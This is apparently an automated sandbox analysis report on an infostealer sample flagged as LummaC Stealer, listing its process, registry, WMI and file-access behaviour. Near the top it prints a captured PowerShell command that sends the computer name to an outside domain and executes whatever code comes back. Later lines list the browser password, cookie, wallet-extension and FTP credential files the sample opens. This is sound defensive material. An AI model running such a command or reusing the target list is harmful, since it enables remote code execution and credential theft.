Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -exec bypass [net.servicepointmanager]::securityprotocol = [net.securityprotocoltype]::tls12; $gd='https://dfgh.online/invoker.php?compname='+$env:computername; $ptsr = iwr -uri $gd -usebasicparsing -useragent 'mozilla/5.0 (windows nt 10.0; win64; x64) applewebkit/57.36 (khtml, like gecko) chrome/12.0.0.0 safari/57.36'; iex $ptsr.content;
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -exec bypass [net.servicepointmanager]::securityprotocol = [net.securityprotocoltype]::tls12; $gd='https://dfgh.online/invoker.php?compname='+$env:computername; $ptsr = iwr -uri $gd -usebasicparsing -useragent 'mozilla/5.0 (windows nt 10.0; win64; x64) applewebkit/57.36 (khtml, like gecko) chrome/12.0.0.0 safari/57.36'; iex $ptsr.content;			Jump to behavior

Source: Ted.com, 0000000B.00000000.1730098930.00000000006F3000.00000002.00000001.01000000.00000007.sdmp, Ted.com.1.dr, Remarkable.8.dr	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: vsv_tool.exe, 00000031.00000000.2877011573.0000000000821000.00000020.00000001.01000000.0000000F.sdmp, vsv_tool.exe, 00000031.00000002.2943800444.0000000004D6C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: TrayNotifyWndShell_TrayWndU
Source: vsv_tool.exe, 00000031.00000000.2877011573.0000000000821000.00000020.00000001.01000000.0000000F.sdmp, vsv_tool.exe, 00000031.00000002.2943800444.0000000004D6C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: vsv_tool.exe, 00000031.00000000.2877011573.0000000000821000.00000020.00000001.01000000.0000000F.sdmp, vsv_tool.exe, 00000031.00000002.2943800444.0000000004D6C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SHELL_TRAYWND
Source: vsv_tool.exe, 00000031.00000000.2877011573.0000000000821000.00000020.00000001.01000000.0000000F.sdmp, vsv_tool.exe, 00000031.00000002.2943800444.0000000004D6C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Shell_TrayWndtooltips_class32SV
Source: vsv_tool.exe, 00000031.00000000.2877011573.0000000000821000.00000020.00000001.01000000.0000000F.sdmp, vsv_tool.exe, 00000031.00000002.2943800444.0000000004D6C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Shell_TrayWndU
Source: vsv_tool.exe, 00000031.00000000.2877011573.0000000000821000.00000020.00000001.01000000.0000000F.sdmp, vsv_tool.exe, 00000031.00000002.2943800444.0000000004D6C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: PROGMAN
Source: vsv_tool.exe, 00000031.00000000.2877011573.0000000000821000.00000020.00000001.01000000.0000000F.sdmp, vsv_tool.exe, 00000031.00000002.2943800444.0000000004D6C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SHELL_TRAYWNDU

Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\41b5d0bf VolumeInformation

Source: C:\Users\user\Desktop\appFile.exe

Code function: 0_2_00406831 GetVersion,GetSystemDirectoryW,GetWindowsDirectoryW,SHGetSpecialFolderLocation,SHGetPathFromIDListW,CoTaskMemFree,lstrcatW,lstrlenW,

0_2_00406831

Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: find.exe, 00000028.00000002.2822701970.000001CE23600000.00000004.00000020.00020000.00000000.sdmp, find.exe, 00000028.00000002.2822649388.000001CE2329B000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: avgui.exe

Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match

File source: sslproxydump.pcap, type: PCAP

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
